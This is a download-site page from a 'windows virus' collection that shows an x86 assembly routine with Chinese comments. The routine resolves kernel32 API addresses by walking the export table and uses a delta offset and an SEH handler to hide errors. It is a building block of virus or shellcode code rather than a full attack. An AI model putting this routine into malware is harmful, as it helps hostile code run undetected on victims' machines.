⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 _getkernelapi.inc

📁 windows virus
💻 INC
字号:
;###########################################################################
;# 		查找kernel32.dll中名为 _szApiName 的API函数地址		   #
;###########################################################################
;#			查找过程示意图					   #
;###########################################################################
;#	┌─────────┬─────────┬─────────┐	  #
;#	│	...	    │	    ...	        │	    ...	    │	  #
;#	│   00000928	    │	    003A        │A:	00004378    │	  #
;#	│   00000924	    │	    0039        │9:	00004374    │	  #
;#	│   00000920	    │	    0038        │8:	00004370    │	  #
;#	│   0000091B	    │	    0037        │7:	0000436B    │	  #
;#	│   00000918	    │	    0036        │6:	00004368    │	  #
;#	│F=>00000914 :API  │	F=> 0035 :[7]   │5:	00004364    │	  #
;#	│   00000910	    │	    0034        │4:	00004360    │	  #
;#	│   0000090B	    │	    0033        │3:	0000435B    │	  #
;#	│   00000908	    │	    0032        │2:	00004358    │	  #
;#	│   00000904	    │	    0031        │1:	00004354    │	  #
;#	│S=>00000900	    │	 S=>0000        │0:S=> 00004350    │	  #
;#	│  (每个四字节)    │	  (每个二字节)  │    (每个四字节)  │	  #
;#	├─────────┼─────────┼─────────┤	  #
;#	│  AddressOfNames  │Add..OfN..Ordinals│AddressOfFunctions│	  #
;#	└─────────┴─────────┴─────────┘	  #
;# 内存中的查找过程:							   #
;#	① 获得AddressOfNames内存地址,由于AddressOfNames是指向导出函数	   #
;#	   名指针数组指针, 而指针数组每个成员为四字节,查找时就是查寻此	   #
;#	   指针数组,找到后将其内容减去指针数组的首元素,这其间会有一段偏移  #
;#	② 由于AddressOfNames指向的指针数据每个数据4字节,而		   #
;#	   AddressOfNameOrdinals 指向的每个数据为2字节,再加上两者间一一对应#
;#	   所以在 ① 中查出的偏移,是AddressOfNameOrdinals 的两倍,要得到    #
;#	   其在内存中的位置,只需要加上 AddressOfNameOrdinals 指向的内容	   #
;#	   加上 文件在内存中的起始位置,再取其内容,就 找到API的函数入口序号 #
;#	③ 在二中查找到的序号,就是我们要查找的API函数在,AddressOfFunctions #
;#	   中的位置,即第几个元素就是了.由于AddressOfFunctions 每个元素为   #
;#	   四字节,所以 找到的序号 乘以 四 再加上 AddressOfFunctions 就是   #
;#	   要查找的地址了.						   #
;#  示例:								   #
;#      如上表中,假设AddressOfName指向 00000900 处, 而要查找名为 API的函数 #
;#  的入口地址. 步骤: 首先从 AddressOfName 指向的位置开始依次找到其指向的  #
;#  内容为 API 为至,这儿为 00000914 , 按上面的查找过程 , 用找到的减去      #
;#  AddressOfNames(即00000900), 为14 然后再除2,就算出了要查找函数的	   #
;#  AddressOfNamesOrdinals的偏移,加上AddressOfNamesOrdinals 就是指向序号的 #
;#  的单元了,然后再乘以4 就是AddressOfFunctions 偏移,加上AddressOfFunctions#
;#  查找就完成了,得到的就是API的入口地址了.				   #
;###########################################################################

_GetKernelApi	PROC	_szApiName
	LOCAL	@dwRet , @dwLen , @lpExportTable , @hKernel32
	PUSHAD
	MOV	@hKernel32 , ESI
	;########################################
	;#  添加SEH结构化异常处理,防止出错提示	#
	;########################################
	ASSUME	FS : NOTHING
	PUSH	EBP
	LEA	EAX , [EBX + @End]
	PUSH	EAX
	LEA	EAX , [EBX + _SEHHandler]
	PUSH	EAX
	XOR	ECX , ECX
	PUSH	FS : [ECX]
	MOV	FS : [ECX] , ESP
	;########################################
	;#	计算API函数名称的长度		#
	;########################################
	MOV	EDI , _szApiName
	XOR	AL , AL
	DEC	ECX
	REPNE	SCASB
	SUB	EDI , _szApiName
	MOV	@dwLen , EDI
	;########################################
	;#	定位IMAGE_EXPORT_DIRECTORY	#
	;########################################
	MOV	ESI , @hKernel32
	ADD	ESI , DWORD PTR [ESI + IMAGE_DOS_HEADER.e_lfanew]
	ASSUME	ESI : PTR IMAGE_NT_HEADERS
	MOV	ESI , [ESI].OptionalHeader.DataDirectory.VirtualAddress
	ADD	ESI , @hKernel32
	ASSUME	ESI : PTR IMAGE_EXPORT_DIRECTORY
	MOV	@lpExportTable , ESI
	;########################################
	;#	以名称来查找API序号		#
	;########################################
	MOV	EBX , [ESI].AddressOfNames
	ADD	EBX , @hKernel32
	MOV	DX , WORD PTR [ESI].NumberOfNames
@Find:
	MOV	ESI , _szApiName
	MOV	EDI , [EBX]
	ADD	EDI , @hKernel32
	MOV	ECX , @dwLen
	REPE	CMPSB
	JZ	@Found
	ADD	EBX , SIZEOF DWORD
	DEC	DX
	JNE	@Find
	;########################################
	;#	没有找到API,返回程序		#
	;########################################
	JMP	@End
	;########################################
	;#   从 API名称 -> API序号 -> API地址	#
	;########################################
@Found:
	MOV	ESI , @lpExportTable
	SUB	EBX , @hKernel32
	SUB	EBX , [ESI].AddressOfNames
	SHR	EBX , 1
	ADD	EBX , [ESI].AddressOfNameOrdinals
	ADD	EBX , @hKernel32
	MOVZX	EAX , WORD PTR [EBX]
	SHL	EAX , 2
	ADD	EAX , [ESI].AddressOfFunctions
	ADD	EAX , @hKernel32
	MOV	EAX , [EAX]
	ADD	EAX , @hKernel32
	MOV	@dwRet , EAX
	ASSUME	ESI : NOTHING 
	;########################################
	;#	     恢复原SEH处理		#
	;########################################
@End:
	XOR	ECX , ECX
	POP	FS : [ECX]
	ADD	ESP , 0CH
		
	POPAD
	MOV	EAX , @dwRet
	ret
_GetKernelApi	ENDP
;###########################################################################
;#				查找API函数结束			   	   #
;###########################################################################

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -